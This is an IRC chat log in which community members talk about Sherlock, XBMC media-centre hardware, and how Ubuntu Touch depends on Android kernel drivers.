jussisudo someone make me a bacon sandwich!21:27
jussiactually, ctrl+c21:28
jussinot allowed to eat right now :/21:28
zleapinclude <bread?21:31
zleapinclude <bacon21:31
zleapinclude <bacon>21:32
jussizleap: something like that21:34
Myrttiomg Sherlock.21:45
Myrttithat's all I'll say21:45
popeyooh, need to see that21:55
diddledanjust put it on21:56
diddledanI have*21:56
diddledanI very rarely watch anything live these days21:56
shaunoheh, ditto.  although I still really want to build a new xbmc machine :/22:03
diddledanhmm, it's started buffering22:22
daftykinsyeah my ion1 isn't handling funkier bitrate stuff too well22:33
daftykinsthankfully i don't have any hi10 content22:33
shaunoI'm handling video fine, just not enough steam to play with anything more interesting22:34
daftykinsion1 dies with AVC22:35
daftykinscan't do VDPAU with that afaik22:35
shaunoie, I quite fancy loading it up with a bunch of emulators & a wireless gamepad.  but no-one builds them for 10.4 anymore22:35
shaunoand I've been struggling to integrate xbmc with my lights because the python stack on the appletv is braindamaged22:35
diddledanI love moriarty's character22:35
shaunobut I've been holding off so far because I'm curious to see how tidily steamos + xbmc could be combined on the same machine, since that'd wildly change the hardware choices22:37
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diddledanooh, killer ending23:23
diddledanI shan't say any more because there's probably some of us that haven't seen it yet23:24
diddledanemail to "ubuntu phone" mailing list entitled "Compiling Ubuntu Touch without Android" - David Marceau states "Ubuntu Touch depends on some Android.  There is no way to work around that." - I don't get how ubuntu touch "depends on android" vs ubuntu touch depends on X, Y & Z FROM android i.e. surely android itself isn't a prerequisite because it's all linux and android is actually a product or distribution of linux with some extra23:32
diddledan non-standard stuff which happens to only be available from the android source code repo23:32
diddledansurely linux is linux is linux in this sense. I don't get why we need to differentiate android23:32
popeywe're using drivers from android23:33
shaunoI believe 'some stuff' is wildly, wildly understating the issue23:33
popeyshauno: how so?23:33
diddledandrivers are just drivers tho they're not an integral part of android that can't be separated, surely?23:34
shaunoas I understand it, android isn't a linux distro as we'd usually use the term; it's the linux kernel with an almost completely new userland?23:34
popeywe dont use the userland stuff23:34
popeyonly the kernel driver side23:34
popeysome of which is binary blobs23:34
popeyand depends on boinc not libc23:35
diddledanso why can't we say "depends on these drivers which happen to only currently be available in android"?23:36
popeythats quite a mouthful23:36
popeywe tend to say "we depend on parts of android"23:36
popeyor "android drivers"23:36
diddledanI know it's convoluting but it properly points out what we depend on rather than suggesting that we're a version of android that can't be called such23:36
popeyi think you're over analysing a mail to a list from a random dude23:37
diddledanI just don't like the premise that some people are going to think it's a minor change to an ostensibly android system as opposed to an ostensibly ubuntu system with a couple bits bolted-on to work with already available hardware23:39
popeywell, his first line is right23:39
popeywe depend on some bits of android23:39
diddledanso anyway, that rant aside. how are things coming with the thing?23:40
diddledanand a related question - is there a page on a wiki somewhere that I can read about plans for click packages?23:42
diddledanheh, just found this on google: http://phandroid.com/2014/01/13/ubuntu-touch-devices-2/ <-- no nexus 5, e.g.23:45
diddledanI'm sure the "community" will make another contributed build for the dropped devices as they suggest in the article, though23:45

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